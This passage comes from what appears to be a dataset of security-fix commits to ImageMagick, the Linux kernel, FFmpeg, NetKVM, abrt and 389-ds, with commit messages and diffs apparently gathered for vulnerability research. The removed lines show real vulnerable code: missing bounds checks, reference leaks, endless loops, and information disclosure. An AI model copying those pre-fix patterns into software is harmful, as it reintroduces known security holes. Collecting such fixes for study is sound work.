& DDSCAPS2_VOLUME && dds_info.depth > 0)\n volume = MagickTrue;\n- \n+\n (void) SeekBlob(image, 128, SEEK_SET);\n \n /*\n", "related": false}, {"section": "@@ -1775,7 +1774,10 @@ static Image *ReadDDSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n \n if (volume)\n num_images = dds_info.depth;\n- \n+\n+ if (num_images < 1)\n+ ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n+\n for (n = 0; n < num_images; n++)\n {\n if (n != 0)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/dccp/ipv6.c", "commit_id": "83eaddab4378db256d00d295bda6ca997cd13a52", "commit_message": "ipv6/dccp: do not inherit ipv6_mc_list from parent\n\nLike commit 657831ffc38e (\"dccp/tcp: do not inherit mc_list from parent\")\nwe should clear ipv6_mc_list etc. for IPv6 sockets too.\n\nCc: Eric Dumazet \nSigned-off-by: Cong Wang \nAcked-by: Eric Dumazet \nSigned-off-by: David S. Miller ", "patch": "@@ -426,6 +426,9 @@ static struct sock *dccp_v6_request_recv_sock(const struct sock *sk,\n \t\tnewsk->sk_backlog_rcv = dccp_v4_do_rcv;\n \t\tnewnp->pktoptions = NULL;\n \t\tnewnp->opt\t = NULL;\n+\t\tnewnp->ipv6_mc_list = NULL;\n+\t\tnewnp->ipv6_ac_list = NULL;\n+\t\tnewnp->ipv6_fl_list = NULL;\n \t\tnewnp->mcast_oif = inet6_iif(skb);\n \t\tnewnp->mcast_hops = ipv6_hdr(skb)->hop_limit;\n \n@@ -490,6 +493,9 @@ static struct sock *dccp_v6_request_recv_sock(const struct sock *sk,\n \t/* Clone RX bits */\n \tnewnp->rxopt.all = np->rxopt.all;\n \n+\tnewnp->ipv6_mc_list = NULL;\n+\tnewnp->ipv6_ac_list = NULL;\n+\tnewnp->ipv6_fl_list = NULL;\n \tnewnp->pktoptions = NULL;\n \tnewnp->opt\t = NULL;\n \tnewnp->mcast_oif = inet6_iif(skb);", "sections": [{"section": "@@ -426,6 +426,9 @@ static struct sock *dccp_v6_request_recv_sock(const struct sock *sk,\n \t\tnewsk->sk_backlog_rcv = dccp_v4_do_rcv;\n \t\tnewnp->pktoptions = NULL;\n \t\tnewnp->opt\t = NULL;\n+\t\tnewnp->ipv6_mc_list = NULL;\n+\t\tnewnp->ipv6_ac_list = NULL;\n+\t\tnewnp->ipv6_fl_list = NULL;\n \t\tnewnp->mcast_oif = inet6_iif(skb);\n \t\tnewnp->mcast_hops = ipv6_hdr(skb)->hop_limit;\n \n", "related": false}, {"section": "@@ -490,6 +493,9 @@ static struct sock *dccp_v6_request_recv_sock(const struct sock *sk,\n \t/* Clone RX bits */\n \tnewnp->rxopt.all = np->rxopt.all;\n \n+\tnewnp->ipv6_mc_list = NULL;\n+\tnewnp->ipv6_ac_list = NULL;\n+\tnewnp->ipv6_fl_list = NULL;\n \tnewnp->pktoptions = NULL;\n \tnewnp->opt\t = NULL;\n \tnewnp->mcast_oif = inet6_iif(skb);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/nfsd/nfsxdr.c", "commit_id": "c70422f760c120480fee4de6c38804c72aa26bc1", "commit_message": "Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux\n\nPull nfsd updates from Bruce Fields:\n \"Another RDMA update from Chuck Lever, and a bunch of miscellaneous\n bugfixes\"\n\n* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)\n nfsd: Fix up the \"supattr_exclcreat\" attributes\n nfsd: encoders mustn't use unitialized values in error cases\n nfsd: fix undefined behavior in nfsd4_layout_verify\n lockd: fix lockd shutdown race\n NFSv4: Fix callback server shutdown\n SUNRPC: Refactor svc_set_num_threads()\n NFSv4.x/callback: Create the callback service through svc_create_pooled\n lockd: remove redundant check on block\n svcrdma: Clean out old XDR encoders\n svcrdma: Remove the req_map cache\n svcrdma: Remove unused RDMA Write completion handler\n svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt\n svcrdma: Clean up RPC-over-RDMA backchannel reply processing\n svcrdma: Report Write/Reply chunk overruns\n svcrdma: Clean up RDMA_ERROR path\n svcrdma: Use rdma_rw API in RPC reply path\n svcrdma: Introduce local rdma_rw API helpers\n svcrdma: Clean up svc_rdma_get_inv_rkey()\n svcrdma: Add helper to save pages under I/O\n svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT\n ...", "patch": "@@ -257,6 +257,9 @@ nfssvc_decode_readargs(struct svc_rqst *rqstp, __be32 *p,\n \tlen = args->count = ntohl(*p++);\n \tp++; /* totalcount - unused */\n \n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n+\n \tlen = min_t(unsigned int, len, NFSSVC_MAXBLKSIZE_V2);\n \n \t/* set up somewhere to store response.\n@@ -272,7 +275,7 @@ nfssvc_decode_readargs(struct svc_rqst *rqstp, __be32 *p,\n \t\tv++;\n \t}\n \targs->vlen = v;\n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n int\n@@ -362,9 +365,11 @@ nfssvc_decode_readlinkargs(struct svc_rqst *rqstp, __be32 *p, struct nfsd_readli\n \tp = decode_fh(p, &args->fh);\n \tif (!p)\n \t\treturn 0;\n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n \targs->buffer = page_address(*(rqstp->rq_next_page++));\n \n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n int\n@@ -402,9 +407,11 @@ nfssvc_decode_readdirargs(struct svc_rqst *rqstp, __be32 *p,\n \targs->cookie = ntohl(*p++);\n \targs->count = ntohl(*p++);\n \targs->count = min_t(u32, args->count, PAGE_SIZE);\n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n \targs->buffer = page_address(*(rqstp->rq_next_page++));\n \n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n /*", "sections": [{"section": "@@ -257,6 +257,9 @@ nfssvc_decode_readargs(struct svc_rqst *rqstp, __be32 *p,\n \tlen = args->count = ntohl(*p++);\n \tp++; /* totalcount - unused */\n \n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n+\n \tlen = min_t(unsigned int, len, NFSSVC_MAXBLKSIZE_V2);\n \n \t/* set up somewhere to store response.\n", "related": false}, {"section": "@@ -272,7 +275,7 @@ nfssvc_decode_readargs(struct svc_rqst *rqstp, __be32 *p,\n \t\tv++;\n \t}\n \targs->vlen = v;\n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n int\n", "related": false}, {"section": "@@ -362,9 +365,11 @@ nfssvc_decode_readlinkargs(struct svc_rqst *rqstp, __be32 *p, struct nfsd_readli\n \tp = decode_fh(p, &args->fh);\n \tif (!p)\n \t\treturn 0;\n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n \targs->buffer = page_address(*(rqstp->rq_next_page++));\n \n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n int\n", "related": false}, {"section": "@@ -402,9 +407,11 @@ nfssvc_decode_readdirargs(struct svc_rqst *rqstp, __be32 *p,\n \targs->cookie = ntohl(*p++);\n \targs->count = ntohl(*p++);\n \targs->count = min_t(u32, args->count, PAGE_SIZE);\n+\tif (!xdr_argsize_check(rqstp, p))\n+\t\treturn 0;\n \targs->buffer = page_address(*(rqstp->rq_next_page++));\n \n-\treturn xdr_argsize_check(rqstp, p);\n+\treturn 1;\n }\n \n /*", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sunrpc/xprtrdma/svc_rdma_recvfrom.c", "commit_id": "c70422f760c120480fee4de6c38804c72aa26bc1", "commit_message": "Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux\n\nPull nfsd updates from Bruce Fields:\n \"Another RDMA update from Chuck Lever, and a bunch of miscellaneous\n bugfixes\"\n\n* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)\n nfsd: Fix up the \"supattr_exclcreat\" attributes\n nfsd: encoders mustn't use unitialized values in error cases\n nfsd: fix undefined behavior in nfsd4_layout_verify\n lockd: fix lockd shutdown race\n NFSv4: Fix callback server shutdown\n SUNRPC: Refactor svc_set_num_threads()\n NFSv4.x/callback: Create the callback service through svc_create_pooled\n lockd: remove redundant check on block\n svcrdma: Clean out old XDR encoders\n svcrdma: Remove the req_map cache\n svcrdma: Remove unused RDMA Write completion handler\n svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt\n svcrdma: Clean up RPC-over-RDMA backchannel reply processing\n svcrdma: Report Write/Reply chunk overruns\n svcrdma: Clean up RDMA_ERROR path\n svcrdma: Use rdma_rw API in RPC reply path\n svcrdma: Introduce local rdma_rw API helpers\n svcrdma: Clean up svc_rdma_get_inv_rkey()\n svcrdma: Add helper to save pages under I/O\n svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT\n ...", "patch": "@@ -558,33 +558,85 @@ static void rdma_read_complete(struct svc_rqst *rqstp,\n \trqstp->rq_arg.buflen = head->arg.buflen;\n }\n \n+static void svc_rdma_send_error(struct svcxprt_rdma *xprt,\n+\t\t\t\t__be32 *rdma_argp, int status)\n+{\n+\tstruct svc_rdma_op_ctxt *ctxt;\n+\t__be32 *p, *err_msgp;\n+\tunsigned int length;\n+\tstruct page *page;\n+\tint ret;\n+\n+\tret = svc_rdma_repost_recv(xprt, GFP_KERNEL);\n+\tif (ret)\n+\t\treturn;\n+\n+\tpage = alloc_page(GFP_KERNEL);\n+\tif (!page)\n+\t\treturn;\n+\terr_msgp = page_address(page);\n+\n+\tp = err_msgp;\n+\t*p++ = *rdma_argp;\n+\t*p++ = *(rdma_argp + 1);\n+\t*p++ = xprt->sc_fc_credits;\n+\t*p++ = rdma_error;\n+\tif (status == -EPROTONOSUPPORT) {\n+\t\t*p++ = err_vers;\n+\t\t*p++ = rpcrdma_version;\n+\t\t*p++ = rpcrdma_version;\n+\t} else {\n+\t\t*p++ = err_chunk;\n+\t}\n+\tlength = (unsigned long)p - (unsigned long)err_msgp;\n+\n+\t/* Map transport header; no RPC message payload */\n+\tctxt = svc_rdma_get_context(xprt);\n+\tret = svc_rdma_map_reply_hdr(xprt, ctxt, err_msgp, length);\n+\tif (ret) {\n+\t\tdprintk(\"svcrdma: Error %d mapping send for protocol error\\n\",\n+\t\t\tret);\n+\t\treturn;\n+\t}\n+\n+\tret = svc_rdma_post_send_wr(xprt, ctxt, 1, 0);\n+\tif (ret) {\n+\t\tdprintk(\"svcrdma: Error %d posting send for protocol error\\n\",\n+\t\t\tret);\n+\t\tsvc_rdma_unmap_dma(ctxt);\n+\t\tsvc_rdma_put_context(ctxt, 1);\n+\t}\n+}\n+\n /* By convention, backchannel calls arrive via rdma_msg type\n * messages, and never populate the chunk lists. This makes\n * the RPC/RDMA header small and fixed in size, so it is\n * straightforward to check the RPC header's direction field.\n */\n-static bool\n-svc_rdma_is_backchannel_reply(struct svc_xprt *xprt, struct rpcrdma_msg *rmsgp)\n+static bool svc_rdma_is_backchannel_reply(struct svc_xprt *xprt,\n+\t\t\t\t\t __be32 *rdma_resp)\n {\n-\t__be32 *p = (__be32 *)rmsgp;\n+\t__be32 *p;\n \n \tif (!xprt->xpt_bc_xprt)\n \t\treturn false;\n \n-\tif (rmsgp->rm_type != rdma_msg)\n+\tp = rdma_resp + 3;\n+\tif (*p++ != rdma_msg)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[0] != xdr_zero)\n+\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[1] != xdr_zero)\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[2] != xdr_zero)\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n \n-\t/* sanity */\n-\tif (p[7] != rmsgp->rm_xid)\n+\t/* XID sanity */\n+\tif (*p++ != *rdma_resp)\n \t\treturn false;\n \t/* call direction */\n-\tif (p[8] == cpu_to_be32(RPC_CALL))\n+\tif (*p == cpu_to_be32(RPC_CALL))\n \t\treturn false;\n \n \treturn true;\n@@ -650,8 +702,9 @@ int svc_rdma_recvfrom(struct svc_rqst *rqstp)\n \t\tgoto out_drop;\n \trqstp->rq_xprt_hlen = ret;\n \n-\tif (svc_rdma_is_backchannel_reply(xprt, rmsgp)) {\n-\t\tret = svc_rdma_handle_bc_reply(xprt->xpt_bc_xprt, rmsgp,\n+\tif (svc_rdma_is_backchannel_reply(xprt, &rmsgp->rm_xid)) {\n+\t\tret = svc_rdma_handle_bc_reply(xprt->xpt_bc_xprt,\n+\t\t\t\t\t &rmsgp->rm_xid,\n \t\t\t\t\t &rqstp->rq_arg);\n \t\tsvc_rdma_put_context(ctxt, 0);\n \t\tif (ret)\n@@ -686,7 +739,7 @@ int svc_rdma_recvfrom(struct svc_rqst *rqstp)\n \treturn ret;\n \n out_err:\n-\tsvc_rdma_send_error(rdma_xprt, rmsgp, ret);\n+\tsvc_rdma_send_error(rdma_xprt, &rmsgp->rm_xid, ret);\n \tsvc_rdma_put_context(ctxt, 0);\n \treturn 0;\n ", "sections": [{"section": "@@ -558,33 +558,85 @@ static void rdma_read_complete(struct svc_rqst *rqstp,\n \trqstp->rq_arg.buflen = head->arg.buflen;\n }\n \n+static void svc_rdma_send_error(struct svcxprt_rdma *xprt,\n+\t\t\t\t__be32 *rdma_argp, int status)\n+{\n+\tstruct svc_rdma_op_ctxt *ctxt;\n+\t__be32 *p, *err_msgp;\n+\tunsigned int length;\n+\tstruct page *page;\n+\tint ret;\n+\n+\tret = svc_rdma_repost_recv(xprt, GFP_KERNEL);\n+\tif (ret)\n+\t\treturn;\n+\n+\tpage = alloc_page(GFP_KERNEL);\n+\tif (!page)\n+\t\treturn;\n+\terr_msgp = page_address(page);\n+\n+\tp = err_msgp;\n+\t*p++ = *rdma_argp;\n+\t*p++ = *(rdma_argp + 1);\n+\t*p++ = xprt->sc_fc_credits;\n+\t*p++ = rdma_error;\n+\tif (status == -EPROTONOSUPPORT) {\n+\t\t*p++ = err_vers;\n+\t\t*p++ = rpcrdma_version;\n+\t\t*p++ = rpcrdma_version;\n+\t} else {\n+\t\t*p++ = err_chunk;\n+\t}\n+\tlength = (unsigned long)p - (unsigned long)err_msgp;\n+\n+\t/* Map transport header; no RPC message payload */\n+\tctxt = svc_rdma_get_context(xprt);\n+\tret = svc_rdma_map_reply_hdr(xprt, ctxt, err_msgp, length);\n+\tif (ret) {\n+\t\tdprintk(\"svcrdma: Error %d mapping send for protocol error\\n\",\n+\t\t\tret);\n+\t\treturn;\n+\t}\n+\n+\tret = svc_rdma_post_send_wr(xprt, ctxt, 1, 0);\n+\tif (ret) {\n+\t\tdprintk(\"svcrdma: Error %d posting send for protocol error\\n\",\n+\t\t\tret);\n+\t\tsvc_rdma_unmap_dma(ctxt);\n+\t\tsvc_rdma_put_context(ctxt, 1);\n+\t}\n+}\n+\n /* By convention, backchannel calls arrive via rdma_msg type\n * messages, and never populate the chunk lists. This makes\n * the RPC/RDMA header small and fixed in size, so it is\n * straightforward to check the RPC header's direction field.\n */\n-static bool\n-svc_rdma_is_backchannel_reply(struct svc_xprt *xprt, struct rpcrdma_msg *rmsgp)\n+static bool svc_rdma_is_backchannel_reply(struct svc_xprt *xprt,\n+\t\t\t\t\t __be32 *rdma_resp)\n {\n-\t__be32 *p = (__be32 *)rmsgp;\n+\t__be32 *p;\n \n \tif (!xprt->xpt_bc_xprt)\n \t\treturn false;\n \n-\tif (rmsgp->rm_type != rdma_msg)\n+\tp = rdma_resp + 3;\n+\tif (*p++ != rdma_msg)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[0] != xdr_zero)\n+\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[1] != xdr_zero)\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n-\tif (rmsgp->rm_body.rm_chunks[2] != xdr_zero)\n+\tif (*p++ != xdr_zero)\n \t\treturn false;\n \n-\t/* sanity */\n-\tif (p[7] != rmsgp->rm_xid)\n+\t/* XID sanity */\n+\tif (*p++ != *rdma_resp)\n \t\treturn false;\n \t/* call direction */\n-\tif (p[8] == cpu_to_be32(RPC_CALL))\n+\tif (*p == cpu_to_be32(RPC_CALL))\n \t\treturn false;\n \n \treturn true;\n", "related": false}, {"section": "@@ -650,8 +702,9 @@ int svc_rdma_recvfrom(struct svc_rqst *rqstp)\n \t\tgoto out_drop;\n \trqstp->rq_xprt_hlen = ret;\n \n-\tif (svc_rdma_is_backchannel_reply(xprt, rmsgp)) {\n-\t\tret = svc_rdma_handle_bc_reply(xprt->xpt_bc_xprt, rmsgp,\n+\tif (svc_rdma_is_backchannel_reply(xprt, &rmsgp->rm_xid)) {\n+\t\tret = svc_rdma_handle_bc_reply(xprt->xpt_bc_xprt,\n+\t\t\t\t\t &rmsgp->rm_xid,\n \t\t\t\t\t &rqstp->rq_arg);\n \t\tsvc_rdma_put_context(ctxt, 0);\n \t\tif (ret)\n", "related": false}, {"section": "@@ -686,7 +739,7 @@ int svc_rdma_recvfrom(struct svc_rqst *rqstp)\n \treturn ret;\n \n out_err:\n-\tsvc_rdma_send_error(rdma_xprt, rmsgp, ret);\n+\tsvc_rdma_send_error(rdma_xprt, &rmsgp->rm_xid, ret);\n \tsvc_rdma_put_context(ctxt, 0);\n \treturn 0;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/serial/omninet.c", "commit_id": "30572418b445d85fcfe6c8fe84c947d2606767d8", "commit_message": "USB: serial: omninet: fix reference leaks at open\n\nThis driver needlessly took another reference to the tty on open, a\nreference which was then never released on close. This lead to not just\na leak of the tty, but also a driver reference leak that prevented the\ndriver from being unloaded after a port had once been opened.\n\nFixes: 4a90f09b20f4 (\"tty: usb-serial krefs\")\nCc: stable \t# 2.6.28\nSigned-off-by: Johan Hovold ", "patch": "@@ -142,12 +142,6 @@ static int omninet_port_remove(struct usb_serial_port *port)\n \n static int omninet_open(struct tty_struct *tty, struct usb_serial_port *port)\n {\n-\tstruct usb_serial\t*serial = port->serial;\n-\tstruct usb_serial_port\t*wport;\n-\n-\twport = serial->port[1];\n-\ttty_port_tty_set(&wport->port, tty);\n-\n \treturn usb_serial_generic_open(tty, port);\n }\n ", "sections": [{"section": "@@ -142,12 +142,6 @@ static int omninet_port_remove(struct usb_serial_port *port)\n \n static int omninet_open(struct tty_struct *tty, struct usb_serial_port *port)\n {\n-\tstruct usb_serial\t*serial = port->serial;\n-\tstruct usb_serial_port\t*wport;\n-\n-\twport = serial->port[1];\n-\ttty_port_tty_set(&wport->port, tty);\n-\n \treturn usb_serial_generic_open(tty, port);\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/isa/msnd/msnd_pinnacle.c", "commit_id": "20e2b791796bd68816fa115f12be5320de2b8021", "commit_message": "ALSA: msnd: Optimize / harden DSP and MIDI loops\n\nThe ISA msnd drivers have loops fetching the ring-buffer head, tail\nand size values inside the loops. Such codes are inefficient and\nfragile.\n\nThis patch optimizes it, and also adds the sanity check to avoid the\nendless loops.\n\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196131\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196133\nSigned-off-by: Takashi Iwai ", "patch": "@@ -170,23 +170,24 @@ static irqreturn_t snd_msnd_interrupt(int irq, void *dev_id)\n {\n \tstruct snd_msnd *chip = dev_id;\n \tvoid *pwDSPQData = chip->mappedbase + DSPQ_DATA_BUFF;\n+\tu16 head, tail, size;\n \n \t/* Send ack to DSP */\n \t/* inb(chip->io + HP_RXL); */\n \n \t/* Evaluate queued DSP messages */\n-\twhile (readw(chip->DSPQ + JQS_wTail) != readw(chip->DSPQ + JQS_wHead)) {\n-\t\tu16 wTmp;\n-\n-\t\tsnd_msnd_eval_dsp_msg(chip,\n-\t\t\treadw(pwDSPQData + 2 * readw(chip->DSPQ + JQS_wHead)));\n-\n-\t\twTmp = readw(chip->DSPQ + JQS_wHead) + 1;\n-\t\tif (wTmp > readw(chip->DSPQ + JQS_wSize))\n-\t\t\twritew(0, chip->DSPQ + JQS_wHead);\n-\t\telse\n-\t\t\twritew(wTmp, chip->DSPQ + JQS_wHead);\n+\thead = readw(chip->DSPQ + JQS_wHead);\n+\ttail = readw(chip->DSPQ + JQS_wTail);\n+\tsize = readw(chip->DSPQ + JQS_wSize);\n+\tif (head > size || tail > size)\n+\t\tgoto out;\n+\twhile (head != tail) {\n+\t\tsnd_msnd_eval_dsp_msg(chip, readw(pwDSPQData + 2 * head));\n+\t\tif (++head > size)\n+\t\t\thead = 0;\n+\t\twritew(head, chip->DSPQ + JQS_wHead);\n \t}\n+ out:\n \t/* Send ack to DSP */\n \tinb(chip->io + HP_RXL);\n \treturn IRQ_HANDLED;", "sections": [{"section": "@@ -170,23 +170,24 @@ static irqreturn_t snd_msnd_interrupt(int irq, void *dev_id)\n {\n \tstruct snd_msnd *chip = dev_id;\n \tvoid *pwDSPQData = chip->mappedbase + DSPQ_DATA_BUFF;\n+\tu16 head, tail, size;\n \n \t/* Send ack to DSP */\n \t/* inb(chip->io + HP_RXL); */\n \n \t/* Evaluate queued DSP messages */\n-\twhile (readw(chip->DSPQ + JQS_wTail) != readw(chip->DSPQ + JQS_wHead)) {\n-\t\tu16 wTmp;\n-\n-\t\tsnd_msnd_eval_dsp_msg(chip,\n-\t\t\treadw(pwDSPQData + 2 * readw(chip->DSPQ + JQS_wHead)));\n-\n-\t\twTmp = readw(chip->DSPQ + JQS_wHead) + 1;\n-\t\tif (wTmp > readw(chip->DSPQ + JQS_wSize))\n-\t\t\twritew(0, chip->DSPQ + JQS_wHead);\n-\t\telse\n-\t\t\twritew(wTmp, chip->DSPQ + JQS_wHead);\n+\thead = readw(chip->DSPQ + JQS_wHead);\n+\ttail = readw(chip->DSPQ + JQS_wTail);\n+\tsize = readw(chip->DSPQ + JQS_wSize);\n+\tif (head > size || tail > size)\n+\t\tgoto out;\n+\twhile (head != tail) {\n+\t\tsnd_msnd_eval_dsp_msg(chip, readw(pwDSPQData + 2 * head));\n+\t\tif (++head > size)\n+\t\t\thead = 0;\n+\t\twritew(head, chip->DSPQ + JQS_wHead);\n \t}\n+ out:\n \t/* Send ack to DSP */\n \tinb(chip->io + HP_RXL);\n \treturn IRQ_HANDLED;", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/webp.c", "commit_id": "6b5d3fb26fb4be48e4966e4b1d97c2165538d4ef", "commit_message": "avcodec/webp: Always set pix_fmt\n\nFixes: out of array access\nFixes: 1434/clusterfuzz-testcase-minimized-6314998085189632\nFixes: 1435/clusterfuzz-testcase-minimized-6483783723253760\n\nFound-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg\nReviewed-by: \"Ronald S. Bultje\" \nSigned-off-by: Michael Niedermayer ", "patch": "@@ -1334,9 +1334,8 @@ static int vp8_lossy_decode_frame(AVCodecContext *avctx, AVFrame *p,\n if (!s->initialized) {\n ff_vp8_decode_init(avctx);\n s->initialized = 1;\n- if (s->has_alpha)\n- avctx->pix_fmt = AV_PIX_FMT_YUVA420P;\n }\n+ avctx->pix_fmt = s->has_alpha ? AV_PIX_FMT_YUVA420P : AV_PIX_FMT_YUV420P;\n s->lossless = 0;\n \n if (data_size > INT_MAX) {", "sections": [{"section": "@@ -1334,9 +1334,8 @@ static int vp8_lossy_decode_frame(AVCodecContext *avctx, AVFrame *p,\n if (!s->initialized) {\n ff_vp8_decode_init(avctx);\n s->initialized = 1;\n- if (s->has_alpha)\n- avctx->pix_fmt = AV_PIX_FMT_YUVA420P;\n }\n+ avctx->pix_fmt = s->has_alpha ? AV_PIX_FMT_YUVA420P : AV_PIX_FMT_YUV420P;\n s->lossless = 0;\n \n if (data_size > INT_MAX) {", "related": false}]} +{"owner": "yanvugenfirer", "repo": "kvm-guest-drivers-windows", "language": "C++", "file_name": "NetKVM/wlh/ParaNdis6-Impl.cpp", "commit_id": "723416fa4210b7464b28eab89cc76252e6193ac1", "commit_message": "NetKVM: BZ#1169718: Checking the length only on read\n\nSigned-off-by: Joseph Hindin ", "patch": "@@ -866,7 +866,7 @@ tPacketIndicationType ParaNdis_PrepareReceivedPacket(\n pHeader->flags,\n &pBuffersDesc->PhysicalPages[PARANDIS_FIRST_RX_DATA_PAGE],\n pPacketInfo->dataLength,\n- nBytesStripped);\n+ nBytesStripped, TRUE);\n if (csRes.value)\n {\n NDIS_TCP_IP_CHECKSUM_NET_BUFFER_LIST_INFO qCSInfo;", "sections": [{"section": "@@ -866,7 +866,7 @@ tPacketIndicationType ParaNdis_PrepareReceivedPacket(\n pHeader->flags,\n &pBuffersDesc->PhysicalPages[PARANDIS_FIRST_RX_DATA_PAGE],\n pPacketInfo->dataLength,\n- nBytesStripped);\n+ nBytesStripped, TRUE);\n if (csRes.value)\n {\n NDIS_TCP_IP_CHECKSUM_NET_BUFFER_LIST_INFO qCSInfo;", "related": false}]} +{"owner": "abrt", "repo": "abrt", "language": "C", "file_name": "src/plugins/abrt-dump-oops.c", "commit_id": "8939398b82006ba1fec4ed491339fc075f43fc7c", "commit_message": "make the dump directories owned by root by default\n\nIt was discovered that the abrt event scripts create a user-readable\ncopy of a sosreport file in abrt problem directories, and include\nexcerpts of /var/log/messages selected by the user-controlled process\nname, leading to an information disclosure.\n\nThis issue was discovered by Florian Weimer of Red Hat Product Security.\n\nRelated: #1212868\n\nSigned-off-by: Jakub Filak ", "patch": "@@ -189,6 +189,14 @@ static unsigned create_oops_dump_dirs(GList *oops_list, unsigned oops_cnt)\n mode = DEFAULT_DUMP_DIR_MODE;\n my_euid = geteuid();\n }\n+ if (g_settings_privatereports)\n+ {\n+ if (world_readable_dump)\n+ log(\"Not going to make dump directories world readable because PrivateReports is on\");\n+\n+ mode = DEFAULT_DUMP_DIR_MODE;\n+ my_euid = 0;\n+ }\n \n pid_t my_pid = getpid();\n unsigned idx = 0;", "sections": [{"section": "@@ -189,6 +189,14 @@ static unsigned create_oops_dump_dirs(GList *oops_list, unsigned oops_cnt)\n mode = DEFAULT_DUMP_DIR_MODE;\n my_euid = geteuid();\n }\n+ if (g_settings_privatereports)\n+ {\n+ if (world_readable_dump)\n+ log(\"Not going to make dump directories world readable because PrivateReports is on\");\n+\n+ mode = DEFAULT_DUMP_DIR_MODE;\n+ my_euid = 0;\n+ }\n \n pid_t my_pid = getpid();\n unsigned idx = 0;", "related": false}]} +{"owner": "389ds", "repo": "389-ds-base", "language": "C", "file_name": "ldap/servers/slapd/back-ldbm/findentry.c", "commit_id": "0b932d4b926d46ac5060f02617330dc444e06da1", "commit_message": "Bug 1347760 - CVE-2016-4992 389-ds-base: Information disclosure via repeated use of LDAP ADD operation, etc.\n\nDescription: If a bind user has no rights, it should not disclose\nany information including the existence of the entry.\n\nFix description:\n1) ALREADY_EXISTS in add -- If to be added entry is found existing\n in ldbm_back_add, it checks the ACI and if there is no rights,\n it returns INSUFFICIENT_ACCESS instead of ALREADY_EXISTS.\n2) NO_SUCH_OBJECT in other update operations -- If the target entry\n is found not existing, it checks the ancestor entry's access\n rights in find_entry. If it is not allowed to access the subtree,\n it returns INSUFFICIENT_ACCESS instead of NO_SUC_OBJECT. Plus,\n it supresses the \"Matched\" ancestor message.\n3) NO_SUCH_OBJECT in search -- If a bind entry has no rights to read\n a subtree, it returns no search results with SUCCESS. It should\n be applied to the no existing subtree if the bind entry has no\n rights to the super tree.\n4) If bind fails because of the non-existence of the bind user or\n the parent nodes, the bind returns LDAP_INVALID_CREDENTIALS to\n the client with no other information.\n The detailed cause is logged in the access log as follows:\n\t RESULT err=49 .. etime=0 - No such suffix ()\n\t RESULT err=49 .. etime=0 - Invalid credentials\n\t RESULT err=49 .. etime=0 - No such entry\n\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1347760\n\nReviewed by lkrispen@redhat.com, mreynolds@redhat.com, and tbordaz@redhat.com.\nThank you!!!", "patch": "@@ -16,8 +16,8 @@\n #include \"back-ldbm.h\"\n \n \n-static struct backentry *find_entry_internal_dn(Slapi_PBlock *pb, backend *be, const Slapi_DN *sdn, int lock, back_txn *txn, int flags);\n-static struct backentry * find_entry_internal(Slapi_PBlock *pb, Slapi_Backend *be, const entry_address *addr, int lock, back_txn *txn, int flags);\n+static struct backentry *find_entry_internal_dn(Slapi_PBlock *pb, backend *be, const Slapi_DN *sdn, int lock, back_txn *txn, int flags, int *rc);\n+static struct backentry * find_entry_internal(Slapi_PBlock *pb, Slapi_Backend *be, const entry_address *addr, int lock, back_txn *txn, int flags, int *rc);\n /* The flags take these values */\n #define FE_TOMBSTONE_INCLUDED TOMBSTONE_INCLUDED /* :1 defined in back-ldbm.h */\n #define FE_REALLY_INTERNAL 0x2\n@@ -27,7 +27,7 @@ check_entry_for_referral(Slapi_PBlock *pb, Slapi_Entry *entry, char *matched, co\n {\n \tint rc=0, i=0, numValues=0;\n \tSlapi_Attr *attr;\n-\tSlapi_Value *val=NULL;\t\n+\tSlapi_Value *val=NULL;\n \tstruct berval **refscopy=NULL;\n \tstruct berval **url=NULL;\n \n@@ -80,22 +80,28 @@ check_entry_for_referral(Slapi_PBlock *pb, Slapi_Entry *entry, char *matched, co\n \n static struct backentry *\n find_entry_internal_dn(\n-\tSlapi_PBlock\t*pb,\n+ Slapi_PBlock\t*pb,\n backend\t\t\t*be,\n const Slapi_DN *sdn,\n int\t\t\t\tlock,\n-\tback_txn\t\t*txn,\n-\tint\t\t\t\tflags\n+ back_txn\t\t*txn,\n+ 